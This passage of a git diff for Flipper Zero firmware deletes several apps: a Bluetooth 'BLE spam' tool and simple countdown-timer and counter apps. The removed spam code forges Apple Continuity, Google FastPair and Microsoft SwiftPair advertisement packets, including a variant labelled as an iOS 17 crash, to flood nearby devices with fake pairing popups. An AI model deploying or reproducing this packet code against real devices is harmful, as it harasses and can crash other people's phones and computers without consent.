= HEADER_LEN + 25, - [ContinuityTypeAirplayTarget] = HEADER_LEN + 6, - [ContinuityTypeHandoff] = HEADER_LEN + 14, - [ContinuityTypeTetheringSource] = HEADER_LEN + 6, - [ContinuityTypeNearbyAction] = HEADER_LEN + 5, - [ContinuityTypeNearbyInfo] = HEADER_LEN + 5, - [ContinuityTypeCustomCrash] = HEADER_LEN + 11, -}; - -void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) { - const ContinuityMsg* msg = _msg ? &_msg->continuity : NULL; - - ContinuityType type; - if(msg) { - type = msg->type; - } else { - const ContinuityType types[] = { - ContinuityTypeProximityPair, - ContinuityTypeNearbyAction, - ContinuityTypeCustomCrash, - }; - type = types[rand() % COUNT_OF(types)]; - } - - uint8_t size = packet_sizes[type]; - uint8_t* packet = malloc(size); - uint8_t i = 0; - - packet[i++] = size - 1; // Size - packet[i++] = 0xFF; // AD Type (Manufacturer Specific) - packet[i++] = 0x4C; // Company ID (Apple, Inc.) - packet[i++] = 0x00; // ... - packet[i++] = type; // Continuity Type - packet[i] = size - i - 1; // Continuity Size - i++; - - switch(type) { - case ContinuityTypeAirDrop: { - packet[i++] = 0x00; // Zeros - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x01; // Version - packet[i++] = (rand() % 256); // AppleID - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // Phone Number - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // Email - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // Email2 - packet[i++] = (rand() % 256); // ... - packet[i++] = 0x00; // Zero - break; - } - - case ContinuityTypeProximityPair: { - uint16_t model; - if(msg && msg->data.proximity_pair.model != 0x0000) { - model = msg->data.proximity_pair.model; - } else { - const uint16_t models[] = { - 0x0E20, // AirPods Pro - 0x0620, // Beats Solo 3 - 0x0A20, // AirPods Max - 0x1020, // Beats Flex - 0x0055, // Airtag - 0x0030, // Hermes Airtag - 0x0220, // AirPods - 0x0F20, // AirPods 2nd Gen - 0x1320, // AirPods 3rd Gen - 0x1420, // AirPods Pro 2nd Gen - 0x0320, // Powerbeats 3 - 0x0B20, // Powerbeats Pro - 0x0C20, // Beats Solo Pro - 0x1120, // Beats Studio Buds - 0x0520, // Beats X - 0x0920, // Beats Studio 3 - 0x1720, // Beats Studio Pro - 0x1220, // Beats Fit Pro - 0x1620, // Beats Studio Buds+ - }; - model = models[rand() % COUNT_OF(models)]; - } - - uint8_t prefix; - if(msg && msg->data.proximity_pair.prefix == 0x00) { - prefix = msg->data.proximity_pair.prefix; - } else { - if(model == 0x0055 || model == 0x0030) - prefix = 0x05; - else - prefix = 0x01; - } - - packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05) - packet[i++] = (model >> 0x08) & 0xFF; - packet[i++] = (model >> 0x00) & 0xFF; - packet[i++] = 0x55; // Status - packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level - packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level - packet[i++] = (rand() % 256); // Lid Open Counter - packet[i++] = 0x00; // Device Color - packet[i++] = 0x00; - furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload - i += 16; - break; - } - - case ContinuityTypeAirplayTarget: { - packet[i++] = (rand() % 256); // Flags - packet[i++] = (rand() % 256); // Configuration Seed - packet[i++] = (rand() % 256); // IPv4 Address - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - break; - } - - case ContinuityTypeHandoff: { - packet[i++] = 0x01; // Version - packet[i++] = (rand() % 256); // Initialization Vector - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // AES-GCM Auth Tag - packet[i++] = (rand() % 256); // Encrypted Payload - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - break; - } - - case ContinuityTypeTetheringSource: { - packet[i++] = 0x01; // Version - packet[i++] = (rand() % 256); // Flags - packet[i++] = (rand() % 101); // Battery Life - packet[i++] = 0x00; // Cell Service Type - packet[i++] = (rand() % 8); // ... - packet[i++] = (rand() % 5); // Cell Service Strength - break; - } - - case ContinuityTypeNearbyAction: { - uint8_t action; - if(msg && msg->data.nearby_action.type != 0x00) { - action = msg->data.nearby_action.type; - } else { - const uint8_t actions[] = { - 0x13, // AppleTV AutoFill - 0x27, // AppleTV Connecting... - 0x20, // Join This AppleTV? - 0x19, // AppleTV Audio Sync - 0x1E, // AppleTV Color Balance - 0x09, // Setup New iPhone - 0x02, // Transfer Phone Number - 0x0B, // HomePod Setup - 0x01, // Setup New AppleTV - 0x06, // Pair AppleTV - 0x0D, // HomeKit AppleTV Setup - 0x2B, // AppleID for AppleTV? - }; - action = actions[rand() % COUNT_OF(actions)]; - } - - uint8_t flag; - if(msg && msg->data.nearby_action.flags != 0x00) { - flag = msg->data.nearby_action.flags; - } else { - flag = 0xC0; - if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?' - if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device' - } - - packet[i++] = flag; // Action Flags - packet[i++] = action; // Action Type - furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag - i += 3; - break; - } - - case ContinuityTypeNearbyInfo: { - packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code - packet[i++] = (rand() % 256); // Status Flags - packet[i++] = (rand() % 256); // Authentication Tag - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - break; - } - - case ContinuityTypeCustomCrash: { - // Found by @ECTO-1A - - const uint8_t actions[] = { - 0x13, // AppleTV AutoFill - 0x27, // AppleTV Connecting... - 0x20, // Join This AppleTV? - 0x19, // AppleTV Audio Sync - 0x1E, // AppleTV Color Balance - 0x09, // Setup New iPhone - 0x02, // Transfer Phone Number - 0x0B, // HomePod Setup - 0x01, // Setup New AppleTV - 0x06, // Pair AppleTV - 0x0D, // HomeKit AppleTV Setup - 0x2B, // AppleID for AppleTV? - }; - uint8_t action = actions[rand() % COUNT_OF(actions)]; - - uint8_t flag = 0xC0; - if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?' - if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device' - - i -= 2; // Override segment header - packet[i++] = ContinuityTypeNearbyAction; // Continuity Type - packet[i++] = 0x05; // Continuity Size - packet[i++] = flag; // Action Flags - packet[i++] = action; // Action Type - furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag - i += 3; - - packet[i++] = 0x00; // Terminator (?) - packet[i++] = 0x00; // ... - - packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?) - furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???) - i += 3; - break; - } - - default: - break; - } - - *out_size = size; - *out_packet = packet; -} - -const BleSpamProtocol ble_spam_protocol_continuity = { - .icon = &I_apple, - .get_name = continuity_get_name, - .make_packet = continuity_make_packet, -}; diff --git a/applications/external/ble_spam/protocols/continuity.h b/applications/external/ble_spam/protocols/continuity.h deleted file mode 100644 index 7e97f8425..000000000 --- a/applications/external/ble_spam/protocols/continuity.h +++ /dev/null @@ -1,36 +0,0 @@ -#pragma once -#include "_base.h" - -// Hacked together by @Willy-JL -// iOS 17 Crash by @ECTO-1A -// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/ -// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ - -typedef enum { - ContinuityTypeAirDrop = 0x05, - ContinuityTypeProximityPair = 0x07, - ContinuityTypeAirplayTarget = 0x09, - ContinuityTypeHandoff = 0x0C, - ContinuityTypeTetheringSource = 0x0E, - ContinuityTypeNearbyAction = 0x0F, - ContinuityTypeNearbyInfo = 0x10, - - ContinuityTypeCustomCrash, - ContinuityTypeCount -} ContinuityType; - -typedef struct { - ContinuityType type; - union { - struct { - uint8_t prefix; - uint16_t model; - } proximity_pair; - struct { - uint8_t flags; - uint8_t type; - } nearby_action; - } data; -} ContinuityMsg; - -extern const BleSpamProtocol ble_spam_protocol_continuity; diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c deleted file mode 100644 index 8f329492e..000000000 --- a/applications/external/ble_spam/protocols/fastpair.c +++ /dev/null @@ -1,68 +0,0 @@ -#include "fastpair.h" -#include "_registry.h" - -// Hacked together by @Willy-JL and @Spooks4576 -// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction - -const char* fastpair_get_name(const BleSpamMsg* _msg) { - const FastpairMsg* msg = &_msg->fastpair; - UNUSED(msg); - return "FastPair"; -} - -void fastpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) { - const FastpairMsg* msg = _msg ? &_msg->fastpair : NULL; - - uint32_t model_id; - if(msg && msg->model_id != 0x000000) { - model_id = msg->model_id; - } else { - const uint32_t models[] = { - // Genuine devices - 0xCD8256, // Bose NC 700 - 0xF52494, // JBL Buds Pro - 0x718FA4, // JBL Live 300TWS - 0x821F66, // JBL Flip 6 - 0x92BBBD, // Pixel Buds - - // Custom debug popups - 0xAA1FE1, // ClownMaster - 0xAA187F, // VBucks - 0xF38C02, // Boykisser - 0x1448C9, // BLM - 0xD5AB33, // Xtreme - 0x13B39D, // Talking Sasquach - }; - model_id = models[rand() % COUNT_OF(models)]; - } - - uint8_t size = 14; - uint8_t* packet = malloc(size); - uint8_t i = 0; - - packet[i++] = 3; // Size - packet[i++] = 0x03; // AD Type (Service UUID List) - packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair) - packet[i++] = 0xFE; // ... - - packet[i++] = 6; // Size - packet[i++] = 0x16; // AD Type (Service Data) - packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair) - packet[i++] = 0xFE; // ... - packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID - packet[i++] = (model_id >> 0x08) & 0xFF; // ... - packet[i++] = (model_id >> 0x00) & 0xFF; // ... - - packet[i++] = 2; // Size - packet[i++] = 0x0A; // AD Type (Tx Power Level) - packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm - - *out_size = size; - *out_packet = packet; -} - -const BleSpamProtocol ble_spam_protocol_fastpair = { - .icon = &I_android, - .get_name = fastpair_get_name, - .make_packet = fastpair_make_packet, -}; diff --git a/applications/external/ble_spam/protocols/fastpair.h b/applications/external/ble_spam/protocols/fastpair.h deleted file mode 100644 index 6555d0b6b..000000000 --- a/applications/external/ble_spam/protocols/fastpair.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once -#include "_base.h" - -// Hacked together by @Willy-JL and @Spooks4576 -// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction - -typedef struct { - uint32_t model_id; -} FastpairMsg; - -extern const BleSpamProtocol ble_spam_protocol_fastpair; diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c deleted file mode 100644 index 26ea203e4..000000000 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ /dev/null @@ -1,54 +0,0 @@ -#include "swiftpair.h" -#include "_registry.h" - -// Hacked together by @Willy-JL and @Spooks4576 -// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair - -const char* swiftpair_get_name(const BleSpamMsg* _msg) { - const SwiftpairMsg* msg = &_msg->swiftpair; - UNUSED(msg); - return "SwiftPair"; -} - -void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) { - const SwiftpairMsg* msg = _msg ? &_msg->swiftpair : NULL; - - const char* display_name; - if(msg && msg->display_name[0] != '\0') { - display_name = msg->display_name; - } else { - const char* names[] = { - "Assquach💦", - "Flipper 🐬", - "iOS 17 🍎", - "Kink💦", - "👉👌", - "🔵🦷", - }; - display_name = names[rand() % COUNT_OF(names)]; - } - uint8_t display_name_len = strlen(display_name); - - uint8_t size = 7 + display_name_len; - uint8_t* packet = malloc(size); - uint8_t i = 0; - - packet[i++] = size - 1; // Size - packet[i++] = 0xFF; // AD Type (Manufacturer Specific) - packet[i++] = 0x06; // Company ID (Microsoft) - packet[i++] = 0x00; // ... - packet[i++] = 0x03; // Microsoft Beacon ID - packet[i++] = 0x00; // Microsoft Beacon Sub Scenario - packet[i++] = 0x80; // Reserved RSSI Byte - memcpy(&packet[i], display_name, display_name_len); // Display Name - i += display_name_len; - - *out_size = size; - *out_packet = packet; -} - -const BleSpamProtocol ble_spam_protocol_swiftpair = { - .icon = &I_windows, - .get_name = swiftpair_get_name, - .make_packet = swiftpair_make_packet, -}; diff --git a/applications/external/ble_spam/protocols/swiftpair.h b/applications/external/ble_spam/protocols/swiftpair.h deleted file mode 100644 index 5ded8ebf8..000000000 --- a/applications/external/ble_spam/protocols/swiftpair.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once -#include "_base.h" - -// Hacked together by @Willy-JL and @Spooks4576 -// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair - -typedef struct { - char display_name[25]; -} SwiftpairMsg; - -extern const BleSpamProtocol ble_spam_protocol_swiftpair; diff --git a/applications/external/cntdown_timer/app.c b/applications/external/cntdown_timer/app.c deleted file mode 100644 index 5c03ea246..000000000 --- a/applications/external/cntdown_timer/app.c +++ /dev/null @@ -1,71 +0,0 @@ -#include "views/countdown_view.h" -#include "app.h" - -static void register_view(ViewDispatcher* dispatcher, View* view, uint32_t viewid); - -int32_t app_main(void* p) { - UNUSED(p); - - CountDownTimerApp* app = countdown_app_new(); - - countdown_app_run(app); - - countdown_app_delete(app); - - return 0; -} - -static uint32_t view_exit(void* ctx) { - furi_assert(ctx); - - return VIEW_NONE; -} - -CountDownTimerApp* countdown_app_new(void) { - CountDownTimerApp* app = (CountDownTimerApp*)(malloc(sizeof(CountDownTimerApp))); - - // 1.1 open gui - app->gui = furi_record_open(RECORD_GUI); - - // 2.1 setup view dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - - // 2.2 attach view dispatcher to gui - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // 2.3 attach views to the dispatcher - // helloworld view - app->helloworld_view = countdown_timer_view_new(); - register_view(app->view_dispatcher, countdown_timer_view_get_view(app->helloworld_view), 0xff); - - // 2.5 switch to default view - view_dispatcher_switch_to_view(app->view_dispatcher, 0xff); - - return app; -} - -void countdown_app_delete(CountDownTimerApp* app) { - furi_assert(app); - - // delete views - view_dispatcher_remove_view(app->view_dispatcher, 0xff); - countdown_timer_view_delete(app->helloworld_view); // hello world view - - // delete view dispatcher - view_dispatcher_free(app->view_dispatcher); - furi_record_close(RECORD_GUI); - - // self - free(app); -} - -void countdown_app_run(CountDownTimerApp* app) { - view_dispatcher_run(app->view_dispatcher); -} - -static void register_view(ViewDispatcher* dispatcher, View* view, uint32_t viewid) { - view_dispatcher_add_view(dispatcher, viewid, view); - - view_set_previous_callback(view, view_exit); -} diff --git a/applications/external/cntdown_timer/app.h b/applications/external/cntdown_timer/app.h deleted file mode 100644 index 413b3dbbf..000000000 --- a/applications/external/cntdown_timer/app.h +++ /dev/null @@ -1,22 +0,0 @@ -#ifndef __APP_H__ -#define __APP_H__ - -#include -#include -#include - -// app -typedef struct { - Gui* gui; // gui object - ViewDispatcher* view_dispatcher; // view dispacther of the gui - - // views - CountDownTimView* helloworld_view; - -} CountDownTimerApp; - -CountDownTimerApp* countdown_app_new(void); -void countdown_app_delete(CountDownTimerApp* app); -void countdown_app_run(CountDownTimerApp* app); - -#endif \ No newline at end of file diff --git a/applications/external/cntdown_timer/application.fam b/applications/external/cntdown_timer/application.fam deleted file mode 100644 index 79a08423e..000000000 --- a/applications/external/cntdown_timer/application.fam +++ /dev/null @@ -1,19 +0,0 @@ -# qv. https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/AppManifests.md - -App( - appid="cntdown_tim", - name="Count Down Timer", - apptype=FlipperAppType.EXTERNAL, - entry_point="app_main", - cdefines=["APP_COUNT_DOWN_TIMER"], - requires=[ - "gui", - ], - stack_size=2 * 1024, - fap_icon="cntdown_timer.png", - fap_category="Tools", - fap_author="@0w0mewo", - fap_weburl="https://github.com/0w0mewo/fpz_cntdown_timer", - fap_version="1.1", - fap_description="Simple count down timer", -) diff --git a/applications/external/cntdown_timer/cntdown_timer.png b/applications/external/cntdown_timer/cntdown_timer.png deleted file mode 100644 index b25c2718e0e6e84fa1c074e48b432c16cd0215f9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 306 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2V8<6ZZI=>f4F%}28J29*~C-V}>aY>EvO!M_+ z&;qhK7#Q0#8CXC{fLIEM85o!sFfuR$X-1IP0w%aD*8*k)8>G;>V#ik?C6npm9|EMA zKw?0^3d9;v8pKX5;9)5Q(uSTcjv*SNNk95oBqSvMDJQF}{Lf>+=fP;@AjW)p5yyhe zhLen$A(JosRETy+a?u94>i_?)x=pWv40Dj?*gi%s1_KVJzyFs@d$Dg*I295!Y1!!= zx9>dC&JnI|v9S1ec~ORfMT2wLn$P8%C# -#include "utils.h" - -static const NotificationSequence sequence_beep = { - &message_blue_255, - &message_note_d5, - &message_delay_100, - &message_sound_off, - - NULL, -}; - -void notification_beep_once() { - notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_beep); - notification_off(); -} - -void notification_off() { - furi_record_close(RECORD_NOTIFICATION); -} - -void notification_timeup() { - notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_audiovisual_alert); -} - -void parse_sec_to_time_str(char* buffer, size_t len, int32_t sec) { - snprintf( - buffer, - len, - "%02ld:%02ld:%02ld", - (sec % (60 * 60 * 24)) / (60 * 60), // hour - (sec % (60 * 60)) / 60, // minute - sec % 60); // second -} diff --git a/applications/external/cntdown_timer/utils/utils.h b/applications/external/cntdown_timer/utils/utils.h deleted file mode 100644 index 814e16222..000000000 --- a/applications/external/cntdown_timer/utils/utils.h +++ /dev/null @@ -1,12 +0,0 @@ -#ifndef __UTILS_H__ -#define __UTILS_H__ -#include -#include - -void notification_beep_once(); -void notification_off(); -void notification_timeup(); - -void parse_sec_to_time_str(char* buffer, size_t len, int32_t sec); - -#endif // __UTILS_H__ \ No newline at end of file diff --git a/applications/external/cntdown_timer/views/countdown_view.c b/applications/external/cntdown_timer/views/countdown_view.c deleted file mode 100644 index 94e53ac55..000000000 --- a/applications/external/cntdown_timer/views/countdown_view.c +++ /dev/null @@ -1,349 +0,0 @@ -#include "countdown_view.h" -#include "../utils/utils.h" - -// internal -static void handle_misc_cmd(CountDownTimView* hw, CountDownViewCmd cmd); -static void handle_time_setting_updown(CountDownTimView* cdv, CountDownViewCmd cmd); -static void handle_time_setting_select(InputKey key, CountDownTimView* cdv); -static void draw_selection(Canvas* canvas, CountDownViewSelect selection); - -static void countdown_timer_start_counting(CountDownTimView* cdv); -static void countdown_timer_pause_counting(CountDownTimView* cdv); - -// callbacks -static void countdown_timer_view_on_enter(void* ctx); -static void countdown_timer_view_on_draw(Canvas* canvas, void* ctx); -static bool countdown_timer_view_on_input(InputEvent* event, void* ctx); -static void timer_cb(void* ctx); - -CountDownTimView* countdown_timer_view_new() { - CountDownTimView* cdv = (CountDownTimView*)(malloc(sizeof(CountDownTimView))); - - cdv->view = view_alloc(); - - cdv->timer = furi_timer_alloc(timer_cb, FuriTimerTypePeriodic, cdv); - - cdv->counting = false; - - view_set_context(cdv->view, cdv); - - view_allocate_model(cdv->view, ViewModelTypeLocking, sizeof(CountDownModel)); - - view_set_draw_callback(cdv->view, countdown_timer_view_on_draw); - view_set_input_callback(cdv->view, countdown_timer_view_on_input); - view_set_enter_callback(cdv->view, countdown_timer_view_on_enter); - - return cdv; -} - -void countdown_timer_view_delete(CountDownTimView* cdv) { - furi_assert(cdv); - - view_free(cdv->view); - furi_timer_stop(cdv->timer); - furi_timer_free(cdv->timer); - - free(cdv); -} - -View* countdown_timer_view_get_view(CountDownTimView* cdv) { - return cdv->view; -} - -void countdown_timer_view_state_reset(CountDownTimView* cdv) { - cdv->counting = false; - - with_view_model( - cdv->view, CountDownModel * model, { model->count = model->saved_count_setting; }, true) -} - -void countdown_timer_state_toggle(CountDownTimView* cdv) { - bool on = cdv->counting; - if(!on) { - countdown_timer_start_counting(cdv); - } else { - countdown_timer_pause_counting(cdv); - } - - cdv->counting = !on; -} - -// on enter callback, CountDownTimView as ctx -static void countdown_timer_view_on_enter(void* ctx) { - furi_assert(ctx); - - CountDownTimView* cdv = (CountDownTimView*)ctx; - - // set current count to a initial value - with_view_model( - cdv->view, - CountDownModel * model, - { - model->count = INIT_COUNT; - model->saved_count_setting = INIT_COUNT; - }, - true); -} - -// view draw callback, CountDownModel as ctx -static void countdown_timer_view_on_draw(Canvas* canvas, void* ctx) { - furi_assert(ctx); - CountDownModel* model = (CountDownModel*)ctx; - - char buffer[64]; - - int32_t count = model->count; - int32_t expected_count = model->saved_count_setting; - - CountDownViewSelect select = model->select; - - // elements_frame(canvas, 0, 0, SCREEN_WIDTH, SCREEN_HEIGHT); - - canvas_set_font(canvas, FontBigNumbers); - draw_selection(canvas, select); - - parse_sec_to_time_str(buffer, sizeof(buffer), count); - canvas_draw_str_aligned( - canvas, SCREEN_CENTER_X, SCREEN_CENTER_Y, AlignCenter, AlignCenter, buffer); - - elements_progress_bar(canvas, 0, 0, SCREEN_WIDTH, (1.0 * count / expected_count)); -} - -// keys input event callback, CountDownTimView as ctx -static bool countdown_timer_view_on_input(InputEvent* event, void* ctx) { - furi_assert(ctx); - - CountDownTimView* hw = (CountDownTimView*)ctx; - - if(event->type == InputTypeShort || event->type == InputTypeRepeat) { - switch(event->key) { - case InputKeyUp: - case InputKeyDown: - case InputKeyRight: - case InputKeyLeft: - handle_time_setting_select(event->key, hw); - break; - - case InputKeyOk: - if(event->type == InputTypeShort) { - handle_misc_cmd(hw, CountDownTimerToggleCounting); - } - break; - case InputKeyBack: - return false; - break; - - default: - break; - } - - return true; - } - - if(event->type == InputTypeLong) { - switch(event->key) { - case InputKeyOk: - handle_misc_cmd(hw, CountDownTimerReset); - break; - - case InputKeyBack: - return false; - break; - - default: - break; - } - - return true; - } - - return false; -} - -static void timer_cb(void* ctx) { - furi_assert(ctx); - - CountDownTimView* cdv = (CountDownTimView*)ctx; - - int32_t count; - bool timeup = false; - - // decrement counter - with_view_model( - cdv->view, - CountDownModel * model, - { - count = model->count; - count--; - - // check timeup - if(count <= 0) { - count = 0; - timeup = true; - } - - model->count = count; - }, - true); - - if(timeup) { - handle_misc_cmd(cdv, CountDownTimerTimeUp); - } -} - -static void handle_time_setting_updown(CountDownTimView* cdv, CountDownViewCmd cmd) { - int32_t count; - - with_view_model( - cdv->view, - CountDownModel * model, - { - count = model->count; - switch(cmd) { - case CountDownTimerMinuteUp: - count += 60; - break; - case CountDownTimerMinuteDown: - count -= 60; - break; - case CountDownTimerHourDown: - count -= 3600; - break; - case CountDownTimerHourUp: - count += 3600; - break; - case CountDownTimerSecUp: - count++; - break; - case CountDownTimerSecDown: - count--; - break; - default: - break; - } - - if(count < 0) { - count = 0; - } - - // update count state - model->count = count; - - // save the count time setting - model->saved_count_setting = count; - }, - true); -} - -static void handle_misc_cmd(CountDownTimView* hw, CountDownViewCmd cmd) { - switch(cmd) { - case CountDownTimerTimeUp: - notification_timeup(); - break; - - case CountDownTimerReset: - furi_timer_stop(hw->timer); - countdown_timer_view_state_reset(hw); - notification_off(); - - break; - - case CountDownTimerToggleCounting: - countdown_timer_state_toggle(hw); - break; - - default: - break; - } - - return; -} - -static void handle_time_setting_select(InputKey key, CountDownTimView* cdv) { - bool counting = cdv->counting; - CountDownViewCmd setting_cmd = CountDownTimerSecUp; - CountDownViewSelect selection; - - if(counting) { - return; - } - - // load current selection from model context - with_view_model( - cdv->view, CountDownModel * model, { selection = model->select; }, false); - - // select - switch(key) { - case InputKeyUp: - switch(selection) { - case CountDownTimerSelectSec: - setting_cmd = CountDownTimerSecUp; - break; - case CountDownTimerSelectMinute: - setting_cmd = CountDownTimerMinuteUp; - break; - case CountDownTimerSelectHour: - setting_cmd = CountDownTimerHourUp; - break; - } - - handle_time_setting_updown(cdv, setting_cmd); - break; - - case InputKeyDown: - switch(selection) { - case CountDownTimerSelectSec: - setting_cmd = CountDownTimerSecDown; - break; - case CountDownTimerSelectMinute: - setting_cmd = CountDownTimerMinuteDown; - break; - case CountDownTimerSelectHour: - setting_cmd = CountDownTimerHourDown; - break; - } - - handle_time_setting_updown(cdv, setting_cmd); - break; - - case InputKeyRight: - selection--; - selection = selection % 3; - break; - - case InputKeyLeft: - selection++; - selection = selection % 3; - break; - - default: - break; - } - - // save selection to model context - with_view_model( - cdv->view, CountDownModel * model, { model->select = selection; }, false); -} - -static void draw_selection(Canvas* canvas, CountDownViewSelect selection) { - switch(selection) { - case CountDownTimerSelectSec: - elements_slightly_rounded_box(canvas, SCREEN_CENTER_X + 25, SCREEN_CENTER_Y + 11, 24, 2); - break; - case CountDownTimerSelectMinute: - elements_slightly_rounded_box(canvas, SCREEN_CENTER_X - 10, SCREEN_CENTER_Y + 11, 21, 2); - break; - case CountDownTimerSelectHour: - elements_slightly_rounded_box(canvas, SCREEN_CENTER_X - 47, SCREEN_CENTER_Y + 11, 24, 2); - break; - } -} - -static void countdown_timer_start_counting(CountDownTimView* cdv) { - furi_timer_start(cdv->timer, furi_kernel_get_tick_frequency() * 1); // 1s -} - -static void countdown_timer_pause_counting(CountDownTimView* cdv) { - furi_timer_stop(cdv->timer); - notification_off(); -} \ No newline at end of file diff --git a/applications/external/cntdown_timer/views/countdown_view.h b/applications/external/cntdown_timer/views/countdown_view.h deleted file mode 100644 index ed8114f8e..000000000 --- a/applications/external/cntdown_timer/views/countdown_view.h +++ /dev/null @@ -1,59 +0,0 @@ -#ifndef __COUNTDOWN_VIEW_H__ -#define __COUNTDOWN_VIEW_H__ - -#include -#include -#include -#include - -#define SCREEN_WIDTH 128 -#define SCREEN_HEIGHT 64 -#define SCREEN_CENTER_X (SCREEN_WIDTH / 2) -#define SCREEN_CENTER_Y (SCREEN_HEIGHT / 2) - -#define INIT_COUNT 10 - -typedef enum { - CountDownTimerMinuteUp, - CountDownTimerMinuteDown, - CountDownTimerSecDown, - CountDownTimerSecUp, - CountDownTimerHourUp, - CountDownTimerHourDown, - CountDownTimerReset, - CountDownTimerTimeUp, - CountDownTimerToggleCounting, -} CountDownViewCmd; - -typedef enum { - CountDownTimerSelectSec, - CountDownTimerSelectMinute, - CountDownTimerSelectHour, -} CountDownViewSelect; - -typedef struct { - int32_t count; - int32_t saved_count_setting; - CountDownViewSelect select; // setting -} CountDownModel; - -typedef struct { - View* view; - FuriTimer* timer; // 1Hz tick timer - bool counting; - -} CountDownTimView; - -// functions -// allocate helloworld view -CountDownTimView* countdown_timer_view_new(); - -// delete helloworld view -void countdown_timer_view_delete(CountDownTimView* cdv); - -// return view -View* countdown_timer_view_get_view(CountDownTimView* cdv); - -void countdown_timer_view_state_reset(CountDownTimView* cdv); // set initial state -void countdown_timer_state_toggle(CountDownTimView* cdv); -#endif // __COUNTDOWN_VIEW_H__ \ No newline at end of file diff --git a/applications/external/counter/application.fam b/applications/external/counter/application.fam deleted file mode 100644 index b3ce43ecb..000000000 --- a/applications/external/counter/application.fam +++ /dev/null @@ -1,16 +0,0 @@ -App( - appid="counter", - name="Counter", - apptype=FlipperAppType.EXTERNAL, - entry_point="counterapp", - requires=[ - "gui", - ], - fap_category="Tools", - fap_icon="icons/counter_icon.png", - fap_icon_assets="icons", - fap_author="@Krulknul", - fap_weburl="https://github.com/Krulknul/dolphin-counter", - fap_version="1.1", - fap_description="Simple counter", -) diff --git a/applications/external/counter/counter.c b/applications/external/counter/counter.c deleted file mode 100644 index cbc0d9b80..000000000 --- a/applications/external/counter/counter.c +++ /dev/null @@ -1,109 +0,0 @@ -#include -#include -#include -#include -#include "counter_icons.h" -#include - -#define MAX_COUNT 99 -#define BOXTIME 2 -#define BOXWIDTH 30 -#define MIDDLE_X 64 - BOXWIDTH / 2 -#define MIDDLE_Y 32 - BOXWIDTH / 2 -#define OFFSET_Y 9 - -typedef struct { - FuriMessageQueue* input_queue; - ViewPort* view_port; - Gui* gui; - FuriMutex** mutex; - - int count; - bool pressed; - int boxtimer; -} Counter; - -void state_free(Counter* c) { - gui_remove_view_port(c->gui, c->view_port); - furi_record_close(RECORD_GUI); - view_port_free(c->view_port); - furi_message_queue_free(c->input_queue); - furi_mutex_free(c->mutex); - free(c); -} - -static void input_callback(InputEvent* input_event, void* ctx) { - Counter* c = ctx; - if(input_event->type == InputTypeShort) { - furi_message_queue_put(c->input_queue, input_event, 0); - } -} - -static void render_callback(Canvas* canvas, void* ctx) { - Counter* c = ctx; - furi_check(furi_mutex_acquire(c->mutex, FuriWaitForever) == FuriStatusOk); - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 10, AlignCenter, AlignCenter, "Counter :)"); - canvas_set_font(canvas, FontBigNumbers); - - char scount[5]; - if(c->pressed == true || c->boxtimer > 0) { - 